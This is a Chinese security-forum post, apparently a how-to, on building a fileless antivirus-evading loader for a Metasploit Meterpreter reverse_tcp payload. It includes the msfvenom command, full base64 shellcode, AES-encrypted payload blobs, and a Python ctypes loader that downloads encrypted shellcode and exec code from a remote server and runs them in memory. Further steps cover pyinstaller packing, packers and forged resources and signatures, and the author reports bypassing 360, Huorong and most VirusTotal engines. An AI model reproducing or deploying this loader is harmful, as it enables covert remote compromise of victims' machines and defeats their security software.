使用python ctypes模块来调用dll函数 加载shellcode
首先用msf生成一个base64编码过的c的shellcodemsfvenom -p windows/meterpreter/reverse_tcp --encrypt base64 LHOST=你的ip LPORT=1234 -f c
再对生成的shellcode略作处理,去除空格 和双引号
生成处理后的shellcode/OiPAAAAYDHSZItSMInli1IMi1IUMf8Pt0omi3IoMcCsPGF8Aiwgwc8NAcdJde9SV4tSEItCPAHQi0B4hcB0TAHQi1ggAdNQi0gYhcl0PDH/SYs0iwHWMcDBzw2sAcc44HX0A334O30kdeBYi1gkAdNmiwxLi1gcAdOLBIsB0IlEJCRbW2FZWlH/4FhfWosS6YD///9daDMyAABod3MyX1RoTHcmB4no/9C4kAEAACnEVFBoKYBrAP/Vagpom4qBUWgCAATSieZQUFBQQFBAUGjqD9/g/9WXahBWV2iZpXRh/9WFwHQK/04IdezoZwAAAGoAagRWV2gC2chf/9WD+AB+Nos2akBoABAAAFZqAGhYpFPl/9WTU2oAVlNXaALZyF//1YP4AH0oWGgAQAAAagBQaAsvDzD/1VdodW5NYf/VXl7/DCQPhXD////pm////wHDKcZ1wcO78LWiVmoAU//V
在处理后的shellcode进行aes加密
得到加密后的shellcode3a340e7bfbea6a50ecbcae93b53cfc0d70425a0f22fe20aa23cbcd69d772fb4c196ffdcb246d6a98edde17fc5e7c072c8d64e1ad08525e1d60f24ceb1e467c32f4e9a4bb76aa6fdfd36ad0f8136dd00edc58e4f7fb4c50a417bd94427cf664f70cb8a81d1e30bf904e705c68814c8e9dd068beb90e1065e1e4348017c21427b0c8b150ad1dccba341b25f3267ae482f886b1d8b4c55810f95084f0ff6e449db10ad9ae8c24a426479c1bf4d57e1551e603df63e8605db000afc521bb626ebe578711c51d314a9a451811ea01827136f01ac3b9b1cff84765b0e74f7ad5fd10da0a72012f76743b4189ac46f703271d7779facac766b6357eeb8b549cac4363dad7e9b8d9cc3664e3e5ebbc66709a870dc67b3fee95286aa0eca0af44a1ed8d4a01808b37d8b3d1ef02ebd5fc76785fb04c853fad7ff9beb3710054be849aa79512b409746b516b49437e5686ff4eac18546397213e433f98897cd9684612f82d9b5aad5d0350094b88510082be5a3801e1ccdfc2025799af97cf32e852315837872f7ed1cee223bd48e9c3260e931ad7712b4e30539cfc65d14233e737140fd72a8ca6e288ec19182391e1f5dc88c567536cba7e03301dfc199404551b996b39a73fa6921b5c6740b532db4b4d291c7754ba089e2e1ff4b64b3148fed8874749
我们免杀的思路是让其加载执行的代码中并不出现shellcode和调用函数,这样应该可以有效的免杀。
所以我们应该可以把加密处理过的shellcode和执行函数等放在web服务器上,利用py爬取,这样可以实现远程加载恶意代码,实现无文件落地的效果。
接着我们对调用执行的代码进行加密
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(sc), 0x1000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(rwxpage, ctypes.create_string_buffer(sc), len(sc))
handle = ctypes.windll.kernel32.CreateThread(0, 0, rwxpage, 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
先对其进行base64加密再对其aes加密
加密后的文件a7d9ec83b90455dc0edcdb5a80bfe75ef27812025dc463f0b6dbe1459f293489a0a3169205347903bc5662bec32117f833b8093059b923cee3c80fa8edc6eace54c6ac634323d2759774b2c4b359cea95b927b1fa530aba8062a8a937629651385998255e7939255504738c13c2841c21657f17618255295161616c6824a4de2064ca461c7f4a34565a16f5520d5fa40a5b5952cfadfdfa63170fb907153b4281b9d392535588ccde46addd658ed61e5623b22b1aaf059b9534c84e04fb5b1c3df8196b482016acf40f9f35eec5cc0d6d20fb23d8e006c35727110405185dfb8e4d0bed4495d3710d26e9624910e9d7bba5e1ef9fb13094f5f0c54ecaa1d11f1ebbc3e063688cd2abc97f3e8d804eeef778bfc65ed1fed256658ace31f72d4d5e9080d77eced54c1a70b903ead8fd38215c7686eb4718a929d155e74699b1ee8779d10886bf53abb2dbe57b6ab8cc9fabf2671ebba8fede6975cf30add02dd557d5c104c1b569e6a3ec9c71d728ff418
然后将这两个加密后的文件放在web服务器上,利用py请求解密并执行
s1.txt是shellcode文件,excute.txt是执行代码
下面是我们利用py请求的代码
from Crypto.Cipher import AES
from binascii import b2a_hex, a2b_hex
import base64
import ctypes
import requests
# 解密后,去掉补足的空格用strip() 去掉
def decrypt(text):
key = '9999999999999999'.encode('utf-8')
iv = b'qqqqqqqqqqqqqqqq'
mode = AES.MODE_CBC
cryptos = AES.new(key, mode, iv)
plain_text = cryptos.decrypt(a2b_hex(text))
return bytes.decode(plain_text).rstrip('')
#py爬虫请求shellcode
urlsc='http://你的服务器ip/s1.txt'
sc=requests.get(url=urlsc).text
#解密
sc=base64.b64decode(decrypt(sc))
#py爬虫请求执行语句
urlex='http://你的服务器ip/excute.txt'
excute=requests.get(url=urlex).text
#解密
excute=base64.b64decode(decrypt(excute))
#执行
exec(excute)
然后利用pyinstaller打包成exe
pyinstaller.exe -F -w no-file-aes.py
打包成功
生成的文件在python安装目录下的Scripts/dist
看看查杀结果
360 火绒简简单单绕过
再去vt查杀看下结果
gg。。杀的有点多,不要紧,拿出工具就是干,
加壳,修改资源,能加的都加上
先加壳
再修改资源,通过修改执行文件的资源文件伪造正规文件达到欺骗,如版权信息,数字签名,位图图标等
最终生成的文件
这些工具使用方法就不在介绍了,网上都有。
再来查看下vt查杀效果
效果还不错
试试能不能上线
成功上线
yyds脚本小子也能淦免杀
用户名 | 金币 | 积分 | 时间 | 理由 |
---|---|---|---|---|
Track-聂风 | 85.00 | 0 | 2021-10-29 16:04:24 | 一个受益终生的帖子~~ |
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.